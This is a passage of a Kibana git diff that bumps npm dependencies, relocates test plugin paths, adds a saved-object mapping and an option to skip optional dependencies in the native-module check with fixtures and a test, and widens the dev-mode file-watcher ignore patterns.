Exception list's human readable string identifier, e.g. `trusted-linux-processes`. + description: The exception list's human readable string identifier, `endpoint_list`. example: simple_list format: nonempty minLength: 1 @@ -81131,7 +81311,7 @@ components: defaultModel: type: string description: The generative artificial intelligence model for Google Gemini to use. - default: gemini-1.5-pro-002 + default: gemini-2.5-pro gcpRegion: type: string description: The GCP region where the Vertex AI endpoint enabled. diff --git a/oas_docs/package-lock.json b/oas_docs/package-lock.json index 44824c64ef77f..406d7e54c345f 100644 --- a/oas_docs/package-lock.json +++ b/oas_docs/package-lock.json @@ -9,7 +9,7 @@ "version": "1.0.0", "license": "ISC", "dependencies": { - "@redocly/cli": "^1.34.3", + "@redocly/cli": "^1.34.4", "bump-cli": "^2.8.4" } }, @@ -869,9 +869,9 @@ } }, "node_modules/@redocly/cli": { - "version": "1.34.3", - "resolved": "https://registry.npmjs.org/@redocly/cli/-/cli-1.34.3.tgz", - "integrity": "sha512-GJNBTMfm5wTCtH6K+RtPQZuGbqflMclXqAZ5My12tfux6xFDMW1l0MNd5RMpnIS1aeFcDX++P1gnnROWlesj4w==", + "version": "1.34.4", + "resolved": "https://registry.npmjs.org/@redocly/cli/-/cli-1.34.4.tgz", + "integrity": "sha512-seH/GgrjSB1EeOsgJ/4Ct6Jk2N7sh12POn/7G8UQFARMyUMJpe1oHtBwT2ndfp4EFCpgBAbZ/82Iw6dwczNxEA==", "license": "MIT", "dependencies": { "@opentelemetry/api": "1.9.0", @@ -880,13 +880,13 @@ "@opentelemetry/sdk-trace-node": "1.26.0", "@opentelemetry/semantic-conventions": "1.27.0", "@redocly/config": "^0.22.0", - "@redocly/openapi-core": "1.34.3", - "@redocly/respect-core": "1.34.3", + "@redocly/openapi-core": "1.34.4", + "@redocly/respect-core": "1.34.4", "abort-controller": "^3.0.0", "chokidar": "^3.5.1", "colorette": "^1.2.0", "core-js": "^3.32.1", - "dotenv": "^16.4.7", + "dotenv": "16.4.7", "form-data": "^4.0.0", "get-port-please": "^3.0.1", "glob": "^7.1.6", @@ -917,9 +917,9 @@ "license": "MIT" }, "node_modules/@redocly/openapi-core": { - "version": "1.34.3", - "resolved": "https://registry.npmjs.org/@redocly/openapi-core/-/openapi-core-1.34.3.tgz", - "integrity": "sha512-3arRdUp1fNx55itnjKiUhO6t4Mf91TsrTIYINDNLAZPS0TPd5YpiXRctwjel0qqWoOOhjA34cZ3m4dksLDFUYg==", + "version": "1.34.4", + "resolved": "https://registry.npmjs.org/@redocly/openapi-core/-/openapi-core-1.34.4.tgz", + "integrity": "sha512-hf53xEgpXIgWl3b275PgZU3OTpYh1RoD2LHdIfQ1JzBNTWsiNKczTEsI/4Tmh2N1oq9YcphhSMyk3lDh85oDjg==", "license": "MIT", "dependencies": { "@redocly/ajv": "^8.11.2", @@ -957,19 +957,19 @@ } }, "node_modules/@redocly/respect-core": { - "version": "1.34.3", - "resolved": "https://registry.npmjs.org/@redocly/respect-core/-/respect-core-1.34.3.tgz", - "integrity": "sha512-vo/gu7dRGwTVsRueVSjVk04jOQuL0w22RBJRdRUWkfyse791tYXgMCOx35ijKekL83Q/7Okxf/YX6UY1v5CAug==", + "version": "1.34.4", + "resolved": "https://registry.npmjs.org/@redocly/respect-core/-/respect-core-1.34.4.tgz", + "integrity": "sha512-MitKyKyQpsizA4qCVv+MjXL4WltfhFQAoiKiAzrVR1Kusro3VhYb6yJuzoXjiJhR0ukLP5QOP19Vcs7qmj9dZg==", "license": "MIT", "dependencies": { "@faker-js/faker": "^7.6.0", "@redocly/ajv": "8.11.2", - "@redocly/openapi-core": "1.34.3", + "@redocly/openapi-core": "1.34.4", "better-ajv-errors": "^1.2.0", "colorette": "^2.0.20", "concat-stream": "^2.0.0", "cookie": "^0.7.2", - "dotenv": "16.4.5", + "dotenv": "16.4.7", "form-data": "4.0.0", "jest-diff": "^29.3.1", "jest-matcher-utils": "^29.3.1", @@ -993,18 +993,6 @@ "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", "license": "MIT" }, - "node_modules/@redocly/respect-core/node_modules/dotenv": { - "version": "16.4.5", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.4.5.tgz", - "integrity": "sha512-ZmdL2rui+eB2YwhsWzjInR8LldtZHGDoQ1ugH85ppHKwpUHL7j7rN0Ti9NCnGiQbhaZ11FpR+7ao1dNsmduNUg==", - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, "node_modules/@redocly/respect-core/node_modules/form-data": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", diff --git a/oas_docs/package.json b/oas_docs/package.json index fe793d9b98b0c..e6559b7af2764 100644 --- a/oas_docs/package.json +++ b/oas_docs/package.json @@ -8,7 +8,7 @@ }, "dependencies": { "bump-cli": "^2.8.4", - "@redocly/cli": "^1.34.3" + "@redocly/cli": "^1.34.4" }, "scripts": { "test": "echo \"Error: no test specified\" && exit 1" diff --git a/package.json b/package.json index 08a5b7cb71859..61f048362fcae 100644 --- a/package.json +++ b/package.json @@ -12,7 +12,7 @@ ], "private": true, "version": "9.1.0", - "branch": "main", + "branch": "9.1", "types": "./kibana.d.ts", "tsdocMetadata": "./build/tsdoc-metadata.json", "build": { @@ -114,7 +114,7 @@ "@aws-crypto/util": "^5.2.0", "@aws-sdk/client-bedrock-runtime": "^3.744.0", "@babel/runtime": "^7.24.7", - "@dagrejs/dagre": "^1.1.4", + "@dagrejs/dagre": "^1.1.5", "@dnd-kit/core": "^6.1.0", "@dnd-kit/sortable": "^8.0.0", "@dnd-kit/utilities": "^3.2.2", @@ -125,13 +125,13 @@ "@elastic/datemath": "5.0.3", "@elastic/ebt": "^1.2.1", "@elastic/ecs": "^8.11.5", - "@elastic/elasticsearch": "9.0.2", + "@elastic/elasticsearch": "9.0.3", "@elastic/ems-client": "8.6.3", "@elastic/eui": "104.0.2", "@elastic/eui-amsterdam": "npm:@elastic/eui@104.0.0-amsterdam.0", "@elastic/eui-theme-borealis": "3.0.0", "@elastic/filesaver": "1.1.2", - "@elastic/monaco-esql": "^3.1.2", + "@elastic/monaco-esql": "^3.1.4", "@elastic/node-crypto": "^1.2.3", "@elastic/numeral": "^2.5.1", "@elastic/react-search-ui": "^1.24.0", @@ -210,7 +210,7 @@ "@kbn/apm-ui-shared": "link:src/platform/packages/shared/kbn-apm-ui-shared", "@kbn/apm-utils": "link:src/platform/packages/shared/kbn-apm-utils", "@kbn/app-link-test-plugin": "link:src/platform/test/plugin_functional/plugins/app_link_test", - "@kbn/application-usage-test-plugin": "link:x-pack/test/usage_collection/plugins/application_usage_test", + "@kbn/application-usage-test-plugin": "link:x-pack/platform/test/usage_collection/plugins/application_usage_test", "@kbn/audit-log-plugin": "link:x-pack/test/security_api_integration/plugins/audit_log", "@kbn/automatic-import-plugin": "link:x-pack/platform/plugins/shared/automatic_import", "@kbn/avc-banner": "link:src/platform/packages/shared/kbn-avc-banner", @@ -552,7 +552,7 @@ "@kbn/feature-usage-test-plugin": "link:x-pack/platform/test/plugin_api_integration/plugins/feature_usage_test", "@kbn/features-plugin": "link:x-pack/platform/plugins/shared/features", "@kbn/features-provider-plugin": "link:x-pack/test/security_api_integration/plugins/features_provider", - "@kbn/fec-alerts-test-plugin": "link:x-pack/test/functional_execution_context/plugins/alerts", + "@kbn/fec-alerts-test-plugin": "link:x-pack/platform/test/functional_execution_context/plugins/alerts", "@kbn/field-formats-example-plugin": "link:examples/field_formats_example", "@kbn/field-formats-plugin": "link:src/platform/plugins/shared/field_formats", "@kbn/field-types": "link:src/platform/packages/shared/kbn-field-types", @@ -566,7 +566,7 @@ "@kbn/files-plugin": "link:src/platform/plugins/shared/files", "@kbn/fleet-plugin": "link:x-pack/platform/plugins/shared/fleet", "@kbn/flot-charts": "link:src/platform/packages/shared/kbn-flot-charts", - "@kbn/foo-plugin": "link:x-pack/test/ui_capabilities/common/plugins/foo_plugin", + "@kbn/foo-plugin": "link:x-pack/platform/test/ui_capabilities/common/plugins/foo_plugin", "@kbn/ftr-apis-plugin": "link:src/platform/plugins/private/ftr_apis", "@kbn/functional-with-es-ssl-cases-test-plugin": "link:x-pack/test/functional_with_es_ssl/plugins/cases", "@kbn/gen-ai-streaming-response-example-plugin": "link:x-pack/examples/gen_ai_streaming_response_example", @@ -595,7 +595,7 @@ "@kbn/home-sample-data-types": "link:src/platform/packages/shared/home/sample_data_types", "@kbn/i18n": "link:src/platform/packages/shared/kbn-i18n", "@kbn/i18n-react": "link:src/platform/packages/shared/kbn-i18n-react", - "@kbn/iframe-embedded-plugin": "link:x-pack/test/functional_embedded/plugins/iframe_embedded", + "@kbn/iframe-embedded-plugin": "link:x-pack/platform/test/functional_embedded/plugins/iframe_embedded", "@kbn/image-embeddable-plugin": "link:src/platform/plugins/private/image_embeddable", "@kbn/index-adapter": "link:x-pack/solutions/security/packages/index-adapter", "@kbn/index-lifecycle-management-common-shared": "link:x-pack/platform/packages/shared/index-lifecycle-management/index_lifecycle_management_common_shared", @@ -609,6 +609,7 @@ "@kbn/inference-langchain": "link:x-pack/platform/packages/shared/ai-infra/inference-langchain", "@kbn/inference-plugin": "link:x-pack/platform/plugins/shared/inference", "@kbn/inference-tracing": "link:x-pack/platform/packages/shared/kbn-inference-tracing", + "@kbn/inference-tracing-config": "link:x-pack/platform/packages/shared/kbn-inference-tracing-config", "@kbn/infra-forge": "link:x-pack/platform/packages/private/kbn-infra-forge", "@kbn/infra-plugin": "link:x-pack/solutions/observability/plugins/infra", "@kbn/ingest-pipelines-plugin": "link:x-pack/platform/plugins/shared/ingest_pipelines", @@ -629,7 +630,7 @@ "@kbn/kbn-tp-run-pipeline-plugin": "link:src/platform/test/interpreter_functional/plugins/kbn_tp_run_pipeline", "@kbn/key-value-metadata-table": "link:x-pack/platform/packages/shared/kbn-key-value-metadata-table", "@kbn/kibana-api-cli": "link:x-pack/platform/packages/shared/kbn-kibana-api-cli", - "@kbn/kibana-cors-test-plugin": "link:x-pack/test/functional_cors/plugins/kibana_cors_test", + "@kbn/kibana-cors-test-plugin": "link:x-pack/platform/test/functional_cors/plugins/kibana_cors_test", "@kbn/kibana-overview-plugin": "link:src/platform/plugins/private/kibana_overview", "@kbn/kibana-react-plugin": "link:src/platform/plugins/shared/kibana_react", "@kbn/kibana-usage-collection-plugin": "link:src/platform/plugins/private/kibana_usage_collection", @@ -745,6 +746,8 @@ "@kbn/onechat-server": "link:x-pack/platform/packages/shared/onechat/onechat-server", "@kbn/open-telemetry-instrumented-plugin": "link:src/platform/test/common/plugins/otel_metrics", "@kbn/openapi-common": "link:src/platform/packages/shared/kbn-openapi-common", + "@kbn/opentelemetry-attributes": "link:src/platform/packages/shared/kbn-opentelemetry-attributes", + "@kbn/opentelemetry-utils": "link:src/platform/packages/shared/kbn-opentelemetry-utils", "@kbn/osquery-io-ts-types": "link:src/platform/packages/shared/kbn-osquery-io-ts-types", "@kbn/osquery-plugin": "link:x-pack/platform/plugins/shared/osquery", "@kbn/paertial-results-example-plugin": "link:examples/partial_results_example", @@ -962,7 +965,7 @@ "@kbn/snapshot-restore-plugin": "link:x-pack/platform/plugins/private/snapshot_restore", "@kbn/sort-predicates": "link:src/platform/packages/shared/kbn-sort-predicates", "@kbn/spaces-plugin": "link:x-pack/platform/plugins/shared/spaces", - "@kbn/spaces-test-plugin": "link:x-pack/test/spaces_api_integration/common/plugins/spaces_test_plugin", + "@kbn/spaces-test-plugin": "link:x-pack/platform/test/spaces_api_integration/common/plugins/spaces_test_plugin", "@kbn/spaces-utils": "link:src/platform/packages/shared/kbn-spaces-utils", "@kbn/sse-example-plugin": "link:examples/sse_example", "@kbn/sse-utils": "link:src/platform/packages/shared/kbn-sse-utils", @@ -970,12 +973,13 @@ "@kbn/sse-utils-server": "link:src/platform/packages/shared/kbn-sse-utils-server", "@kbn/stack-alerts-plugin": "link:x-pack/platform/plugins/shared/stack_alerts", "@kbn/stack-connectors-plugin": "link:x-pack/platform/plugins/shared/stack_connectors", - "@kbn/stack-management-usage-test-plugin": "link:x-pack/test/usage_collection/plugins/stack_management_usage_test", + "@kbn/stack-management-usage-test-plugin": "link:x-pack/platform/test/usage_collection/plugins/stack_management_usage_test", "@kbn/state-containers-examples-plugin": "link:examples/state_containers_examples", "@kbn/status-plugin-a-plugin": "link:src/platform/test/server_integration/plugins/status_plugin_a", "@kbn/status-plugin-b-plugin": "link:src/platform/test/server_integration/plugins/status_plugin_b", "@kbn/std": "link:src/platform/packages/shared/kbn-std", "@kbn/storage-adapter": "link:src/platform/packages/shared/kbn-storage-adapter", + "@kbn/streamlang": "link:x-pack/platform/packages/shared/kbn-streamlang", "@kbn/streams-app-plugin": "link:x-pack/platform/plugins/shared/streams_app", "@kbn/streams-app-wrapper-plugin": "link:x-pack/solutions/observability/plugins/observability_streams_wrapper", "@kbn/streams-plugin": "link:x-pack/platform/plugins/shared/streams", @@ -992,7 +996,7 @@ "@kbn/telemetry-management-section-plugin": "link:src/platform/plugins/shared/telemetry_management_section", "@kbn/telemetry-plugin": "link:src/platform/plugins/shared/telemetry", "@kbn/telemetry-test-plugin": "link:src/platform/test/plugin_functional/plugins/telemetry", - "@kbn/test-feature-usage-plugin": "link:x-pack/test/licensing_plugin/plugins/test_feature_usage", + "@kbn/test-feature-usage-plugin": "link:x-pack/platform/test/licensing_plugin/plugins/test_feature_usage", "@kbn/testing-embedded-lens-plugin": "link:x-pack/examples/testing_embedded_lens", "@kbn/third-party-lens-navigation-prompt-plugin": "link:x-pack/examples/third_party_lens_navigation_prompt", "@kbn/third-party-vis-lens-example-plugin": "link:x-pack/examples/third_party_vis_lens_example", @@ -1002,6 +1006,7 @@ "@kbn/tinymath": "link:src/platform/packages/private/kbn-tinymath", "@kbn/traced-es-client": "link:src/platform/packages/shared/kbn-traced-es-client", "@kbn/tracing": "link:src/platform/packages/shared/kbn-tracing", + "@kbn/tracing-config": "link:src/platform/packages/shared/kbn-tracing-config", "@kbn/transform-plugin": "link:x-pack/platform/plugins/private/transform", "@kbn/translations-plugin": "link:x-pack/platform/plugins/private/translations", "@kbn/transpose-utils": "link:src/platform/packages/private/kbn-transpose-utils", @@ -1103,7 +1108,7 @@ "@mapbox/vector-tile": "1.3.1", "@modelcontextprotocol/sdk": "^1.12.1", "@n8n/json-schema-to-zod": "^1.1.0", - "@openfeature/core": "^1.8.0", + "@openfeature/core": "^1.8.1", "@openfeature/launchdarkly-client-provider": "^0.3.2", "@openfeature/server-sdk": "^1.18.0", "@openfeature/web-sdk": "^1.5.0", @@ -1125,7 +1130,7 @@ "@opentelemetry/sdk-node": "^0.200.0", "@opentelemetry/sdk-trace-base": "^2.0.0", "@opentelemetry/sdk-trace-node": "^2.0.0", - "@opentelemetry/semantic-conventions": "^1.32.0", + "@opentelemetry/semantic-conventions": "^1.34.0", "@paralleldrive/cuid2": "^2.2.2", "@reduxjs/toolkit": "1.9.7", "@slack/webhook": "^7.0.1", @@ -1149,8 +1154,8 @@ "@turf/length": "^6.0.2", "@xstate/react": "^3.2.2", "@xstate5/react": "npm:@xstate/react@^5.0.3", - "@xyflow/react": "^12.4.1", - "adm-zip": "^0.5.9", + "@xyflow/react": "^12.8.1", + "adm-zip": "^0.5.16", "ai": "^4.3.15", "ajv": "^8.17.1", "ansi-regex": "^6.1.0", @@ -1264,7 +1269,7 @@ "minimatch": "^3.1.2", "moment": "^2.30.1", "moment-duration-format": "^2.3.2", - "moment-timezone": "^0.5.47", + "moment-timezone": "^0.6.0", "monaco-editor": "^0.44.0", "monaco-yaml": "^5.1.0", "murmurhash": "^2.0.1", @@ -1289,6 +1294,7 @@ "papaparse": "^5.5.3", "pbf": "3.2.1", "pdfmake": "^0.2.15", + "piscina": "^3.2.0", "polished": "^4.3.1", "pretty-ms": "6.0.0", "prop-types": "^15.8.1", @@ -1627,10 +1633,10 @@ "@mapbox/vector-tile": "1.3.1", "@mswjs/http-middleware": "0.10.3", "@octokit/rest": "^21.1.1", - "@parcel/watcher": "^2.1.0", + "@parcel/watcher": "^2.5.1", "@playwright/test": "1.53.1", "@pmmmwh/react-refresh-webpack-plugin": "^0.5.15", - "@redocly/cli": "^1.34.3", + "@redocly/cli": "^1.34.4", "@statoscope/webpack-plugin": "^5.28.2", "@storybook/addon-a11y": "^8.6.3", "@storybook/addon-actions": "^8.6.3", @@ -1654,7 +1660,7 @@ "@testing-library/react": "^16.3.0", "@testing-library/react-hooks": "^8.0.1", "@testing-library/user-event": "^14.6.1", - "@types/adm-zip": "^0.5.0", + "@types/adm-zip": "^0.5.7", "@types/archiver": "^6.0.3", "@types/async": "^3.2.24", "@types/aws4": "^1.5.0", @@ -1756,7 +1762,7 @@ "@types/selenium-webdriver": "^4.1.28", "@types/semver": "^7.7.0", "@types/set-value": "^4.0.3", - "@types/sinon": "^7.0.13", + "@types/sinon": "^17.0.3", "@types/source-map-support": "^0.5.10", "@types/stats-lite": "^2.2.0", "@types/styled-components": "^5.1.0", @@ -1860,7 +1866,7 @@ "gulp-postcss": "^10.0.0", "gulp-terser": "^2.1.0", "has-ansi": "^3.0.0", - "hdr-histogram-js": "^3.0.0", + "hdr-histogram-js": "^3.0.1", "html-loader": "^5.1.0", "http-proxy": "^1.18.1", "http2-proxy": "^5.0.53", @@ -1897,7 +1903,7 @@ "mochawesome-merge": "^4.3.0", "mock-fs": "^5.1.2", "ms-chromium-edge-driver": "^0.5.1", - "msw": "~2.9.0", + "msw": "~2.10.2", "mutation-observer": "^1.0.3", "nock": "12.0.3", "node-stdlib-browser": "^1.3.1", @@ -1905,10 +1911,10 @@ "oboe": "^2.1.7", "openapi-types": "^12.1.3", "p-reflect": "2.1.0", + "p-timeout": "^6.1.4", "peggy": "^4.2.0", "picomatch": "^4.0.2", "pirates": "^4.0.7", - "piscina": "^3.2.0", "pixelmatch": "^5.3.0", "playwright": "1.53.1", "pngjs": "^7.0.0", @@ -1931,7 +1937,7 @@ "selenium-webdriver": "^4.33.0", "sharp": "0.32.6", "simple-git": "^3.27.0", - "sinon": "^7.4.2", + "sinon": "^19.0.2", "sort-package-json": "^3.2.1", "source-map": "^0.7.4", "storybook": "^8.6.3", diff --git a/packages/kbn-check-mappings-update-cli/current_fields.json b/packages/kbn-check-mappings-update-cli/current_fields.json index 814f3404fd66f..33c1b5421f76d 100644 --- a/packages/kbn-check-mappings-update-cli/current_fields.json +++ b/packages/kbn-check-mappings-update-cli/current_fields.json @@ -913,8 +913,12 @@ "privilege-monitoring-status": [ "status" ], + "privmon-api-key": [ + "apiKey" + ], "product-doc-install-status": [ "index_name", + "inference_id", "installation_status", "last_installation_date", "product_name", diff --git a/packages/kbn-check-mappings-update-cli/current_mappings.json b/packages/kbn-check-mappings-update-cli/current_mappings.json index 7378ec08bd0dd..55d495f48ef09 100644 --- a/packages/kbn-check-mappings-update-cli/current_mappings.json +++ b/packages/kbn-check-mappings-update-cli/current_mappings.json @@ -3036,12 +3036,20 @@ } } }, + "privmon-api-key": { + "dynamic": false, + "properties": { + } + }, "product-doc-install-status": { "dynamic": false, "properties": { "index_name": { "type": "keyword" }, + "inference_id": { + "type": "keyword" + }, "installation_status": { "type": "keyword" }, diff --git a/packages/kbn-check-prod-native-modules-cli/check_prod_native_modules.ts b/packages/kbn-check-prod-native-modules-cli/check_prod_native_modules.ts index 0fe8b6163460a..4f21f06b37542 100644 --- a/packages/kbn-check-prod-native-modules-cli/check_prod_native_modules.ts +++ b/packages/kbn-check-prod-native-modules-cli/check_prod_native_modules.ts @@ -107,7 +107,7 @@ async function checkProdNativeModules(log: ToolingLog) { try { // Gets all production dependencies based on package.json and then searches across transient dependencies using lock file - const rawProductionDependencies = findProductionDependencies(log, await readYarnLock()); + const rawProductionDependencies = findProductionDependencies(log, await readYarnLock(), true); // Converts rawProductionDependencies into a simple Map of production dependencies const productionDependencies: Map = new Map(); diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/binding.gyp b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/binding.gyp new file mode 100644 index 0000000000000..4d850b6b74fdf --- /dev/null +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/binding.gyp @@ -0,0 +1,8 @@ +{ + "targets": [ + { + "target_name": "native_module", + "sources": [ "" ] + } + ] +} diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/package.json b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/package.json new file mode 100644 index 0000000000000..a5eeaeb7dfe5b --- /dev/null +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/optional-native-module/package.json @@ -0,0 +1,5 @@ +{ + "name": "optional-native-module", + "version": "1.0.0", + "gypfile": true +} \ No newline at end of file diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/package-x/package.json b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/package-x/package.json new file mode 100644 index 0000000000000..8523bf2281ca0 --- /dev/null +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/node_modules/package-x/package.json @@ -0,0 +1,7 @@ +{ + "name": "package-b", + "version": "2.0.0", + "dependencies": { + "optional-native-module": "^1.0.0" + } +} \ No newline at end of file diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/package.json b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/package.json new file mode 100644 index 0000000000000..21a6179532c5b --- /dev/null +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/package.json @@ -0,0 +1,7 @@ +{ + "name": "with-optional-native-modules-project", + "version": "1.0.0", + "dependencies": { + "package-x": "^2.0.0" + } +} \ No newline at end of file diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/yarn.lock b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/yarn.lock new file mode 100644 index 0000000000000..d5474108a765a --- /dev/null +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/__fixtures__/with_optional_native_modules/yarn.lock @@ -0,0 +1,11 @@ +optional-native-module@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/optional-native-module/-/optional-native-module-1.0.0.tgz" + integrity sha1-example789 + +package-x@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/package-x/-/package-x-2.0.0.tgz" + optionalDependencies: + optional-native-module "^1.0.0" + integrity sha1-example456 diff --git a/packages/kbn-check-prod-native-modules-cli/integration_tests/run_check_prod_native_modules.cli.test.ts b/packages/kbn-check-prod-native-modules-cli/integration_tests/run_check_prod_native_modules.cli.test.ts index dffe1625743b3..13b4c56e01dbb 100644 --- a/packages/kbn-check-prod-native-modules-cli/integration_tests/run_check_prod_native_modules.cli.test.ts +++ b/packages/kbn-check-prod-native-modules-cli/integration_tests/run_check_prod_native_modules.cli.test.ts @@ -149,4 +149,34 @@ describe('checkProdNativeModules', () => { 'Production native modules were detected and logged above' ); }); + + it('should ignore optional dependencies when checking for native modules', async () => { + // Use a fixture with optional dependencies + const withOptionalNativeModulesDir = path.join(fixturesDir, 'with_optional_native_modules'); + const withOptionalNativeModulesPkgJsonPath = path.join( + withOptionalNativeModulesDir, + 'package.json' + ); + jest.spyOn(process, 'cwd').mockReturnValue(withOptionalNativeModulesDir); + // eslint-disable-next-line @typescript-eslint/no-var-requires + jest.replaceProperty(require('@kbn/repo-info'), 'REPO_ROOT', withOptionalNativeModulesDir); + + const withOptionalNativeModulesPkgJson = JSON.parse( + fs.readFileSync(withOptionalNativeModulesPkgJsonPath, 'utf8') + ); + + jest.replaceProperty( + // eslint-disable-next-line @typescript-eslint/no-var-requires + require('@kbn/repo-info'), + 'kibanaPackageJson', + withOptionalNativeModulesPkgJson + ); + + const result = await checkProdNativeModules(mockLog); + + expect(result).toBe(false); + expect(mockLog.success).toHaveBeenCalledWith( + 'No production native modules installed were found' + ); + }); }); diff --git a/packages/kbn-cli-dev-mode/src/watcher.ts b/packages/kbn-cli-dev-mode/src/watcher.ts index ddbe5eb2844a1..c9cf749a18364 100644 --- a/packages/kbn-cli-dev-mode/src/watcher.ts +++ b/packages/kbn-cli-dev-mode/src/watcher.ts @@ -68,6 +68,26 @@ export class Watcher { this.repoRoot, (error, events) => { if (error) { + // NOTE: This error happens as a result of handling kFSEventStreamEventFlagMustScanSubDirs + // which is delivered by macOS if there are too many events and some of them have been dropped, either + // by the kernel or the user-space client. The application must assume that all files could have been + // modified, and ignore the cache in this case. + // + // This happens mainly when switching branches, running a package manager, or otherwise changing a lot of + // files at once. This results of a new handling introduced in parcel v2.5.1 + // + // For now we are ignoring it and following the previous behaviour in place, if it does cause problems we can + // force restart the server + // + // Parcel PR: https://github.com/parcel-bundler/watcher/pull/196 + if ( + error.message && + error.message.includes('Events were dropped by the FSEvents client') + ) { + return false; + } + + // Other runtime errors should still fail subscriber.error(error); return; } @@ -98,10 +118,14 @@ export class Watcher { // some basic high-level ignore statements. Additional filtering is done above // before paths are passed to `fire()`, using the RepoSourceClassifier mostly ignore: [ - '**/{node_modules,target,public,coverage,__*__}/**', + '**/{node_modules,target,public,coverage,__*__,build,.chromium,.es,.yarn-local-mirror,.git,.github,.buildkite,.vscode,.idea}/**', + '**/{bazel-bin,bazel-kibana,bazel-out,bazel-testlogs}/**', + '**/{.cache,.temp,.tmp,temp,tmp}/**', '**/*.{test,spec,story,stories}.*', - '**/*.{http,md,sh,txt}', - '**/debug.log', + '**/*.{http,md,sh,txt,log,pid,swp,swo}', + '**/*~', + '**/.DS_Store', + '/data/**', ], } ).then( diff --git a/packages/kbn-generate/src/commands/codeowners_command.ts b/packages/kbn-generate/src/commands/codeowners_command.ts index ea76bc3a659c3..9b092732bee18 100644 --- a/packages/kbn-generate/src/commands/codeowners_command.ts +++ b/packages/kbn-generate/src/commands/codeowners_command.ts @@ -38,6 +38,10 @@ const ULTIMATE_PRIORITY_RULES = ` #### ## These rules are always last so they take ultimate priority over everything else #### + +# See https://github.com/elastic/kibana/pull/199404 +# Prevent backport assignments +* @kibanamachine `; export const CodeownersCommand: GenerateCommand = { diff --git a/packages/kbn-yarn-lock-validator/src/find_production_dependencies.ts b/packages/kbn-yarn-lock-validator/src/find_production_dependencies.ts index 253f84d7c1471..4d26f4d67922e 100644 --- a/packages/kbn-yarn-lock-validator/src/find_production_dependencies.ts +++ b/packages/kbn-yarn-lock-validator/src/find_production_dependencies.ts @@ -17,11 +17,15 @@ import { YarnLock } from './yarn_lock'; * dependencies listed in package.json and then traversing deeply into the transitive * dependencies as declared by the yarn.lock file. */ -export function findProductionDependencies(log: SomeDevLog, yarnLock: YarnLock) { +export function findProductionDependencies( + log: SomeDevLog, + yarnLock: YarnLock, + ignoreOptional = false +) { const resolved = new Map(); // queue of dependencies entries, we will add the transitive dependencies to - // this queue as we itterate + // this queue as we iterate const depQueue = Object.entries(kibanaPackageJson.dependencies); for (const [name, versionRange] of depQueue) { @@ -40,10 +44,9 @@ export function findProductionDependencies(log: SomeDevLog, yarnLock: YarnLock) resolved.set(key, { name, version: pkg.version }); - const allDepsEntries = [ - ...Object.entries(pkg.dependencies || {}), - ...Object.entries(pkg.optionalDependencies || {}), - ]; + const allDepsEntries = Object.entries(pkg.dependencies || {}).concat( + ignoreOptional ? [] : Object.entries(pkg.optionalDependencies || {}) + ); for (const [childName, childVersionRange] of allDepsEntries) { depQueue.push([childName, childVersionRange]); diff --git a/renovate.json b/renovate.json index 860108ba6555a..84d6673067558 100644 --- a/renovate.json +++ b/renovate.json @@ -3353,6 +3353,24 @@ "minimumReleaseAge": "7 days", "enabled": true }, + { + "groupName": "p-timeout", + "matchDepNames": [ + "p-timeout" + ], + "reviewers": [ + "team:obs-ai-assistant" + ], + "matchBaseBranches": [ + "main" + ], + "labels": [ + "backport:all-open", + "release_note:skip" + ], + "minimumReleaseAge": "7 days", + "enabled": true + }, { "groupName": "redux-actions", "matchDepNames": [ diff --git a/scripts/archive_migration_functions.sh b/scripts/archive_migration_functions.sh index 34f797d20dd6f..4c8b34c210d0f 100755 --- a/scripts/archive_migration_functions.sh +++ b/scripts/archive_migration_functions.sh @@ -379,7 +379,7 @@ save_kbn() { set -x node scripts/kbn_archiver.js --config "$test_config" save "$new_archive" --type $standard_list --space "$space" set +x - # node scripts/kbn_archiver.js --config x-pack/test/spaces_api_integration/security_and_spaces/config_basic.ts save x-pack/test/functional/fixtures/kbn_archiver/saved_objects/default_space --type search,index-pattern,visualization,dashboard,lens,map,graph-workspace,query,tag,url,canvas-workpad + # node scripts/kbn_archiver.js --config x-pack/platform/test/spaces_api_integration/security_and_spaces/config_basic.ts save x-pack/test/functional/fixtures/kbn_archiver/saved_objects/default_space --type search,index-pattern,visualization,dashboard,lens,map,graph-workspace,query,tag,url,canvas-workpad } load_kbn() { diff --git a/scripts/eslint_all_files.js b/scripts/eslint_all_files.js new file mode 100644 index 0000000000000..5018ecf58f88c --- /dev/null +++ b/scripts/eslint_all_files.js @@ -0,0 +1,11 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side 